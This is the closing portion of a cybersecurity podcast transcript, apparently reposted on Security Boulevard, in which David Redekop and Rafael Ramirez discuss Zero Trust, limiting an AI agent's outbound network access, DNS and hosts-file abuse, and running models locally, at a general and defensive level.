David Redekop: Yeah, that’s a very good point—having a deterministic approach versus a probabilistic approach. The only way that a probabilistic approach can actually scale is for it to rely on a deterministic foundation.

Rafael Ramirez: Exactly. And that’s what we’re seeing with these new models. Stabilizing them is really hard. Even we’re doing agentic AI, we’re still focusing on learning how to manage and stabilize assistance. Currently, I can say we’re using about seven different models to run my current function. Now is the time to think what really adds value and set those foundations as we go forward.

David Redekop: I really like how you articulated all of the different pillars that are important to take care of AI security. Where does Zero Trust networking fit into your model there?

Rafael Ramirez: Zero Trust is a mindset that you have to infuse into everything that you do. It’s more of that risk mindset when you think “what could go wrong.” It’s easiest for us to see it in the access layer where you authenticate everyone every single time they move from systems. But you’re always running through that balance between performance and security. Zero Trust is a mindset that you have to apply to everything. There is a phrase that basically “never trust, always verify.”

David Redekop: Absolutely. Just to give you a quick background on what I felt was of a particular protective power in launching my first instance of an OpenClaw agent was to constrain its outbound internet access to only the resources of the skills that I have given it so that it can never have a runaway function. I’m going to apply Zero Trust networking around it as a way of applying guardrails. If we’re concerned in the future of any runaway AI processes, then that’s going to be one aspect that humans can always control. As long as you control what it can do online then you have an aspect that is retained inside of the human control.

Rafael Ramirez: Yeah I agree with you and you have to control both sides—what is going out and also what is going inside. Putting those guardrails at the network layer it has to be always thought about the outside and the inside.

David Redekop: Right. Speaking of the host file, there was an interesting story just last week of an antivirus software company where the attackers had actually disabled itself from updating by creating a host file entry that would resolve to itself. In Windows 11, the latest version, it’s set to read-only. So clearly Microsoft is already taking proactive steps to make it much more difficult for the host file to be abused in that sense.

Rafael Ramirez: Yes, everyone knows where the things start happening in the past. We’re closing those doors. Some people do not rely on DNS; they don’t remember we’re still relying on that layer. And now we have a new layer of constraints and risk. We have a DNS for agentic AI that is called ANS. Now we have AI that is coming and figuring out vulnerabilities in a speed that we weren’t able to do it before.

David Redekop: It’s like it’s the most aggressive double-edged sword that we have ever witnessed. AI is like a knife. A knife can be used to spread your butter, but a knife can also be used to murder. Now imagine that the knife makes its own decisions. And that is the cusp that we’re on right now.

Rafael Ramirez: The moment that transitions over to beyond digital content, that’s when things can get scary. Now this knife is available everywhere. We’re seeing seamlessly deploying WhatsApp; now people can access it with a voice call. We’re still on that stage where we’re still “free,” but there’s never free; we’re still the product. We don’t know how to secure these systems when they become public. When you have them in control inside, they’re beautiful because they can fail and you can control the failure.

David Redekop: Well, one of the ways that I like to think about some of the newer developments is that if it’s inside of a contained machine that has security by design, we have new startups making it simpler for you to run an existing model locally entirely internally. We saw the change in the industry that was made by DeepSeek. The fact that you can run it completely internally that it never talks to the internet whatsoever is a very compelling proposition.

Rafael Ramirez: It’s a normal swing. You go into the cloud then you go into your own machine. Now talking about GPUs, we’re talking about GPUs on the edge on the machine to run local models. All the fundamentals are the same as we were having in networking. People is talking about language filtering, and for me that’s a firewall. The capability is the same.

David Redekop: And thinking about positivity into the future, we’re at that initial state where we’re testing the guardrails. It’s going to come a time where we’re going to trust these systems. We build trust towards technology by seeing it perform exactly right over time.

Rafael Ramirez: Yeah. Coming back to my first trilogy of the three T’s—Technology, Trust, and Talent. People first. As we have the right people the technology and the trust will be created on the right way.

David Redekop: Talent, which is the human, is actually the most important ingredient. Rafael, maybe you have one more thought on a piece of wisdom, a tip that you want to leave with our audience.

Rafael Ramirez: Serve before you ask. Everything is about serving. We need to serve our societies and our communities.

David Redekop: I heard you say “serve before you ask.” And I think both are very appropoS. Shovel the driveway before you’re asked. Do the dishes before you’re asked. I love it.

Rafael Ramirez: That’s my main rule. Thank you for the time, David.

David Redekop: Thank you, Rafael.

Narrator: The defender log requires more than a conversation. It takes action, research, and collective wisdom. Be sure to subscribe, rate, and write a review. Thanks for listening, and we’ll see you on the next episode.

1 post - 1 participant

Read full topic

The post TDL 016 | Speed, Risk, and Responsibility in the Age of AI | Rafael Ramirez appeared first on Security Boulevard.